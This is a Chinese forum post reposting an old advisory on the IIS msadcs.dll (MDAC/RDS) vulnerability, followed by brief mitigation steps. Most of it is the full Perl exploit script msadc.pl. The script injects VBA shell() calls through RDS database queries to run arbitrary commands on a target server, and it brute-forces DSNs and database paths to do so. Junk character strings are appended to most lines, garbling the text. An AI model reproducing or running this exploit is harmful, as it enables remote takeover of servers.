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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) H l'za  
(X!?#)fyn  
涉及程序:  C~C}b  
Microsoft NT server ]QB<N|ps  
cmw2EHTT<  
描述: VBHDI{HzRv  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 v%mAU3M  
*3,GQ%~/z  
详细: x3X^\ Ig  
如果你没有时间读详细内容的话,就删除: FlWgTn>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll z(-j%?  
有关的安全问题就没有了。 AOh\%|}  
*} yOL [  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :n1^Xw0q  
=(!&8U9  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 XYBvM]  
关于利用ODBC远程漏洞的描述,请参看: jzRfD3_s  
zF+NS]XK  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w Pk\dyP  
N>Dr z  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6EHYIN^D  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <"Ox)XG3]W  
-\Y"MwIED  
这里不再论述。 Idq &0<I  
BhO*Pfs  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 3<5E254N  
_?9|0>]xG  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset m@|0iDS  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;<aT| 4  
Zd2B4~V  
Mqy5>f)  
#将下面这段保存为txt文件,然后: "perl -x 文件名" OxGS{zs  
\S]"nHX  
#!perl AKKp-I5  
# jm|x=s3}h  
# MSADC/RDS 'usage' (aka exploit) script --(e(tvf  
# RnvPqNs  
# by rain.forest.puppy oCl $ 0x  
# pS1f y]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z#$>f*b  
# beta test and find errors! 03]   
L4fM?{Ic:s  
use Socket; use Getopt::Std; 8T:?C~"  
getopts("e:vd:h:XR", \%args); 5PaOa8=2f  
`y1ne x-0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; S4r-s;U-v/  
+<\)b(  
if (!defined $args{h} && !defined $args{R}) { `v]|x,l+C  
print qq~ }8H_^G8  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /dT7:x*  
-h <host> = host you want to scan (ip or domain) >";I3S-t  
-d <seconds> = delay between calls, default 1 second o09)esy  
-X = dump Index Server path table, if available \ O*8%  
-v = verbose 3Kv~lo^  
-e = external dictionary file for step 5 hKZ<PwBi  
NJ^H"FLS:  
Or a -R will resume a command session h($XR+!#  
+pGkeZX  
~; exit;} K?M{=$N  
In[!g  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;zMZ+GZ?;+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} vG`;2laY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /7s^OkQ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *bi!iz5F  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} *.4VO+^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Y|*a,H"_  
OGDCC/  
if (!defined $args{R}){ $ret = &has_msadc; MF7q*f  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <{t*yMr   
f!|$!r*q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" hKG)* Q  
. "cmd /c "; =/ b2e\  
$in=<STDIN>; chomp $in; -E*VF{IG1  
$command="cmd /c " . $in ; V30Om3C  
w=dTa5  
if (defined $args{R}) {&load; exit;} ,YEwz3$5u  
x#_\b-  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; s)gUvS\  
&try_btcustmr; \Zpg,KOT  
,*y\b|<j  
print "\nStep 2: Trying to make our own DSN..."; oS2L"#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; j %3wD2 l  
s{"}!y=]  
print "\nStep 3: Trying known DSNs..."; n54}WGo>9  
&known_dsn; e`N/3q7  
GmjTxNU@  
print "\nStep 4: Trying known .mdbs..."; yvQRr75  
&known_mdb; NCid`a$  
xsPY#  
if (defined $args{e}){ uBr^TM$k&  
print "\nStep 5: Trying dictionary of DSN names..."; XL10W ^  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } PVNDvUce  
EFd9n  
print "Sorry Charley...maybe next time?\n"; " [Z'n9C  
exit; )<<}8Fs  
i4Ps#R_wx  
############################################################################## /Dmuvb|A  
lk<}`#(g  
sub sendraw { # ripped and modded from whisker W7\s=t\  
sleep($delay); # it's a DoS on the server! At least on mine... 2YS1%<-g*  
my ($pstr)=@_; T>$S&U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,aA%,C.0U  
die("Socket problems\n"); &jbZL5  
if(connect(S,pack "SnA4x8",2,80,$target)){ (IE\}QcK  
select(S); $|=1; *$+:Cbe-F  
print $pstr; my @in=<S>; ><l|&&e-  
select(STDOUT); close(S); V|v KYEFry  
return @in; sQIzcnKB  
} else { die("Can't connect...\n"); }} Vo G`@^s  
,V>7eQt?  
############################################################################## sI&|qK-(  
\$Jz26 -n  
sub make_header { # make the HTTP request ./Y5Vk#Rp\  
my $msadc=<<EOT %^zGM^PD  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 IP#?$X  
User-Agent: ACTIVEDATA O/N Ed)H!  
Host: $ip Q5kf-~Jx+  
Content-Length: $clen KtR*/<7IC  
Connection: Keep-Alive [ST,/<?0  
KF.d:  
ADCClientVersion:01.06 eu^B  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 " M+g=  
5s /fBS  
--!ADM!ROX!YOUR!WORLD! F\)?Ntj)>@  
Content-Type: application/x-varg -45xa$vv  
Content-Length: $reqlen oP%'8%tk  
,; 81FK  
EOT cBGR%w\t%  
; $msadc=~s/\n/\r\n/g; ^U5g7Emf  
return $msadc;} 6 _Cc+}W  
t>Ot)d  
############################################################################## 4:50dj  
qs Uob   
sub make_req { # make the RDS request 2k}8`P;  
my ($switch, $p1, $p2)=@_; $-J=UT2m  
my $req=""; my $t1, $t2, $query, $dsn; x2_?B[z  
'1f:8  
if ($switch==1){ # this is the btcustmr.mdb query  ~T'!.^/  
$query="Select * from Customers where City=" . make_shell(); S.E'fc1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . axpn*(yE  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ,cF $_7M  
ws_/F  
elsif ($switch==2){ # this is general make table query O{Y_j&1  
$query="create table AZZ (B int, C varchar(10))"; x&['g*[L0  
$dsn="$p1";} 2Nau]y]=  
$+%eLx*  
elsif ($switch==3){ # this is general exploit table query LQr+)wI  
$query="select * from AZZ where C=" . make_shell(); )W0zu\fL =  
$dsn="$p1";} i& phko}  
1dE |q{  
elsif ($switch==4){ # attempt to hork file info from index server xnp5XhU  
$query="select path from scope()"; k X1#+X  
$dsn="Provider=MSIDXS;";} }Q<c E$c  
&% infPI'  
elsif ($switch==5){ # bad query #[<XN s!"  
$query="select"; :wcv,YoSG  
$dsn="$p1";} bS2)L4MQY  
$I$ B8  
$t1= make_unicode($query); V=+wsc  
$t2= make_unicode($dsn); k% -S7iQ  
$req = "\x02\x00\x03\x00"; (& =gM  
$req.= "\x08\x00" . pack ("S1", length($t1)); =0" Zse,  
$req.= "\x00\x00" . $t1 ; |PY*"Ul  
$req.= "\x08\x00" . pack ("S1", length($t2)); V']{n7a-  
$req.= "\x00\x00" . $t2 ; Y \oz9tf8  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; e5HHsR6  
return $req;} '(.vB~m7*+  
{i!@C(M3  
############################################################################## %aHQIoxg  
xUw)mUn@N  
sub make_shell { # this makes the shell() statement -Y:^<C^^&8  
return "'|shell(\"$command\")|'";} VW%eB  
Zf [#~4  
############################################################################## V9SkB3-'  
^j)0&}fB  
sub make_unicode { # quick little function to convert to unicode 6.0/asN}  
my ($in)=@_; my $out; !=t.AgmL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } qz]g4hS  
return $out;} T=- $ok`G  
IFd2r;W8  
############################################################################## F2bAo6~R  
&i8UPp%  
sub rdo_success { # checks for RDO return success (this is kludge) 'U %L\v,  
my (@in) = @_; my $base=content_start(@in); Scfk] DT  
if($in[$base]=~/multipart\/mixed/){ $Lf-Gi  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} fMSB  
return 0;} :"utFBO  
/P}Wp[)u  
############################################################################## F%s'R 0l  
rf[w&~R  
sub make_dsn { # this makes a DSN for us NMCMY<o  
my @drives=("c","d","e","f"); KgCQ4w9  
print "\nMaking DSN: "; HT@/0MF{J  
foreach $drive (@drives) { /OaW4 b$Tz  
print "$drive: "; N:]Ud(VRM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . So^;5tG  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" l A1l  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); A"PmoV?lAm  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; E5EAk6  
return 0 if $2 eq "404"; # not found/doesn't exist q n2X._`  
if($2 eq "200") { 8`? vWJS  
foreach $line (@results) { k NnI$(H"H  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} sm1(I7y  
} return 0;} ^@a|s Sb  
XSDudL  
############################################################################## _+?v'#  
F ~O}@e{  
sub verify_exists { due'c!wW  
my ($page)=@_; -NgL4?p=  
my @results=sendraw("GET $page HTTP/1.0\n\n"); U$+G9  
return $results[0];} rERHfr`OU  
<T0+-]i  
############################################################################## !U?Z<zh  
5[\LQtM  
sub try_btcustmr { qL 0{w7  
my @drives=("c","d","e","f"); J<'7z%2w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?--EIA8mfp  
pndAXO:v  
foreach $dir (@dirs) { 41'|~3\X  
print "$dir -> "; # fun status so you can see progress )vcyoq  
foreach $drive (@drives) { 4a6WQVS  
print "$drive: "; # ditto 0Ia8x?80V  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; X$4MpXx  
$reqlenlen=length( "$reqlen" ); p\&Lbuzv  
$clen= 206 + $reqlenlen + $reqlen; (='e9H!3D  
ra[*E4P9L*  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); q8 _8rp-@  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xD|CQo}:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} N)tqjq  
<Jwx|  
############################################################################## rgOc+[X  
[fjP.kw;J  
sub odbc_error { u+ ?Wm40E  
my (@in)=@_; my $base; kbHfdA  
my $base = content_start(@in); JJ=%\j  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )t#v55M  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;xKPa6`E  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WU" Lu  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K:3u/C`  
return $in[$base+4].$in[$base+5].$in[$base+6];} X":T>)J-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; I6B`G Im5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  q(C <w  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m+7/ebj{A  
>#[u"CB  
############################################################################## 2U Q&n`A  
i;GF/pi  
sub verbose { 0zC mU)ng  
my ($in)=@_; l2lyi  
return if !$verbose; 6k@(7Mw8A  
print STDOUT "\n$in\n";} m[t4XK  
^jiYcg@_[  
############################################################################## E#L"*vh  
wP: w8O  
sub save { f'>270pH  
my ($p1, $p2, $p3, $p4)=@_; [Jjb<6[o  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ;94e   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )A 6 eD  
close OUT;} 1m5 =Nu  
P nxxW?  
############################################################################## ff3HR+%M  
0:SR29(p1  
sub load { !9/1_Bjv  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ee+*&CT)  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); <PayP3E  
@p=<IN>; close(IN); -3)]IA  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `c )//o  
$target= inet_aton($ip) || die("inet_aton problems"); d77->FX2  
print "Resuming to $ip ..."; N;A#K 7A[@  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5,,b>Z<  
if($p[1]==1) { !pMp n%r<]  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; {#]vvO2~$  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !jIpgs5  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); REe<k<>p~  
if (rdo_success(@results)){print "Success!\n";} M]RbaXZ9  
else { print "failed\n"; verbose(odbc_error(@results));}} :4(.S<fH)-  
elsif ($p[1]==3){ P0 va=H  
if(run_query("$p[3]")){ ]sbj8  
print "Success!\n";} else { print "failed\n"; }} e_6-+l!f  
elsif ($p[1]==4){ mg)ZoC  
if(run_query($drvst . "$p[3]")){ I\|x0D  
print "Success!\n"; } else { print "failed\n"; }} !&ly :v!  
exit;} =DT7]fU  
,vnHEY&  
############################################################################## O6[,K1,  
xMb)4cw}  
sub create_table { FuKp`T-H  
my ($in)=@_; fF\s5f#:  
$reqlen=length( make_req(2,$in,"") ) - 28; {);S6F$[3  
$reqlenlen=length( "$reqlen" ); %~`y82r6  
$clen= 206 + $reqlenlen + $reqlen; 8)1 k>=  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^Iz(V2  
return 1 if rdo_success(@results); V\ 7O)g  
my $temp= odbc_error(@results); verbose($temp); ;Rz+4<  
return 1 if $temp=~/Table 'AZZ' already exists/; ZMI!Sl  
return 0;} etPb^&#$  
}!W,/=z*  
############################################################################## J=*X%^jX9Z  
@ z{E  
sub known_dsn { 0rjH`H]M  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go [YsN c  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", C XZO  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |?tUUT!`t  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6^Q Bol  
ks=l Nz9  
foreach $dSn (@dsns) { TCC([  
print "."; I`~ofq?r  
next if (!is_access("DSN=$dSn")); rTgCmr'&  
if(create_table("DSN=$dSn")){ + \DGS  
print "$dSn successful\n"; CfSpwkg  
if(run_query("DSN=$dSn")){ )sh+cfTCb  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U1Z.#ETnM  
print "Something's borked. Use verbose next time\n";}}} print "\n";} RO]Vn]qb  
h]DS$WZ  
############################################################################## 3%g\)Cs  
R43yr+p  
sub is_access { 5$(qnOi  
my ($in)=@_; ncGg@$E  
$reqlen=length( make_req(5,$in,"") ) - 28; :dZq!1~t  
$reqlenlen=length( "$reqlen" ); +8rG Stv  
$clen= 206 + $reqlenlen + $reqlen; ";&5@H|  
my @results=sendraw(make_header() . make_req(5,$in,"")); CPw=?<db  
my $temp= odbc_error(@results); m~LB0u$ac  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4l7FV<g  
return 0;} IC1oW)  
Gs2| #*6  
############################################################################## nO'lN<L  
s Y^#I  
sub run_query { /O@dqEbc  
my ($in)=@_; OF4iGFw  
$reqlen=length( make_req(3,$in,"") ) - 28; (.:!_OB0N  
$reqlenlen=length( "$reqlen" ); O e-FI+7  
$clen= 206 + $reqlenlen + $reqlen; 3k AhvL  
my @results=sendraw(make_header() . make_req(3,$in,"")); VdVUYp  
return 1 if rdo_success(@results); 0E6tH& ;>  
my $temp= odbc_error(@results); verbose($temp); /4]<ro67E6  
return 0;}  2]$ 7  
e~NEyS~3  
##############################################################################  <|Pw*L$  
\fHtk _  
sub known_mdb { l f<?k  
my @drives=("c","d","e","f","g"); v(=?ge YLo  
my @dirs=("winnt","winnt35","winnt351","win","windows"); KqM!7  
my $dir, $drive, $mdb; aCq ) hR  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |6M:JI8  
u@;6r"8q  
# this is sparse, because I don't know of many Y [hTO.LF  
my @sysmdbs=( "\\catroot\\icatalog.mdb", yBd#*3K1  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ) r8yt}  
"\\system32\\certmdb.mdb", s$V'|Pt  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  8>}k5Qu  
0 e}N{,&Y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", EH*Lw c  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7 )2Co[t  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tSP)'N<  
"\\cfusion\\cfapps\\security\\realm_.mdb", n#{z"G  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4\cJ}p}LZ{  
"\\cfusion\\database\\cfexamples.mdb", IQ${2Dpg[  
"\\cfusion\\database\\cfsnippets.mdb", Znv3h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j~|pSu.<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |KV|x ^fJ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /M}jF*5N  
"\\cfusion\\database\\smpolicy.mdb", ewOd =%  
"\\cfusion\\database\cypress.mdb", zdL"PF  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _y,? Cj=u|  
"\\website\\cgi-win\\dbsample.mdb", Nq$Xe~,*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", q_h=O1W  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" +A 4};]W|  
); #these are just @w%{yzr%  
foreach $drive (@drives) { 6AM-^S@  
foreach $dir (@dirs){ =B0#z]qu  
foreach $mdb (@sysmdbs) { -HE@wda  
print "."; ^ #6Ei9di  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -^Pn4y]A)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; k>2tC<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %Sgdhgk1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; tX<. Ud  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 2MV!@rx  
XLog+F$`  
foreach $drive (@drives) { %^5|3l3y  
foreach $mdb (@mdbs) { sPu@t&$  
print "."; 7a,/DI2o  
if(create_table($drv . $drive . $dir . $mdb)){ _(qU%B  
print "\n" . $drive . $dir . $mdb . " successful\n"; !| G 8b'  
if(run_query($drv . $drive . $dir . $mdb)){ \Ax[/J2aO  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 'b?Px}  
} else { print "Something's borked. Use verbose next time\n"; }}}} i`FskEoijq  
} #RJFJb/  
7U@;X~c  
############################################################################## U_X/  
w7(jSPB  
sub hork_idx { 3M?vK(zG>P  
print "\nAttempting to dump Index Server tables...\n"; c]u^0X?&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "JH / ODm  
$reqlen=length( make_req(4,"","") ) - 28; o 0-3[W'x<  
$reqlenlen=length( "$reqlen" ); Cwb }$=p'  
$clen= 206 + $reqlenlen + $reqlen; )kBN]>&R  
my @results=sendraw2(make_header() . make_req(4,"","")); i^i^g5l!  
if (rdo_success(@results)){ -Um|:[*I  
my $max=@results; my $c; my %d; ^lt;K{  
for($c=19; $c<$max; $c++){ A6D@#(D  
$results[$c]=~s/\x00//g; f vAF0 a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; -0 e&>H%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3I" <\M4x  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H{XD>q.  
$d{"$1$2"}="";} 6r|BiHP  
foreach $c (keys %d){ print "$c\n"; } =GP~h*5es  
} else {print "Index server doesn't seem to be installed.\n"; }} NoR=:Q 9e  
~h:/9q  
############################################################################## 2I8 RO\zR  
eSC69mfD  
sub dsn_dict { p+t79F.js  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ggy 7p44  
while(<IN>){ `T-lBwH  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ,h#U<CnP#  
next if (!is_access("DSN=$dSn")); 7%%FYHMO:  
if(create_table("DSN=$dSn")){ 3 ;N+5*-  
print "$dSn successful\n"; p^E}%0#  
if(run_query("DSN=$dSn")){ T%opkyP>=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6v]y\+  
print "Something's borked. Use verbose next time\n";}}} )|Ho"VEmg  
print "\n"; close(IN);} 5Tb3Yy< .  
53i7:1[uV  
############################################################################## 9b8kRz[ c  
:~% zX*   
sub sendraw2 { # ripped and modded from whisker }"sZ)FE  
sleep($delay); # it's a DoS on the server! At least on mine... M)<4|x  
my ($pstr)=@_; ,{pC1A@s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4!I;U>b b  
die("Socket problems\n"); F+lsza  
if(connect(S,pack "SnA4x8",2,80,$target)){ S~Z`?qHWh  
print "Connected. Getting data"; pE^jUxk6  
open(OUT,">raw.out"); my @in; ZeL v!  
select(S); $|=1; print $pstr; h=1cD\^|qw  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} NIzxSGk|  
close(OUT); select(STDOUT); close(S); return @in; N9[2k.oBH  
} else { die("Can't connect...\n"); }} "I7 Sed7  
OLl?1  
############################################################################## Dd=iYM m7  
ITq$8  
sub content_start { # this will take in the server headers x+X^K_*  
my (@in)=@_; my $c; Y!+q3`-%T  
for ($c=1;$c<500;$c++) { q%RPA e  
if($in[$c] =~/^\x0d\x0a/){ E&RiEhuv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0Xke26ga  
else { return $c+1; }}} " iKX-VIl  
return -1;} # it should never get here actually TqZ&X| G  
DaK2P;WP  
############################################################################## PCx] >&  
|, Lp1  
sub funky { a9w1Z4  
my (@in)=@_; my $error=odbc_error(@in); W,g0n=2V  
if($error=~/ADO could not find the specified provider/){ HZG<aY="  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .t7mTpi  
exit;} !Q0aKkMfL  
if($error=~/A Handler is required/){ s--\<v  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,o_Ur.UJ  
exit;} Py3Y*YP  
if($error=~/specified Handler has denied Access/){ 0VA$ Ige  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4;_<CB  
exit;}} o|FY-+  
IhRYV`:  
############################################################################## -%h0`hOG{  
[xrM){ItW  
sub has_msadc { 1\~-No  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); E2 5:e EXa  
my $base=content_start(@results); RjOQSy3  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); On^jHqLaE  
return 0;} .2si[:_(p  
 =Y0>b4  
######################## .ZB/!WiF  
,%L>TD'48s  
7n_'2qY  
解决方案: T9N&Nh7 3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Ao%;!(\I%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -9.Rmv#og{  
77:s=)   
拿出来充数 哈哈
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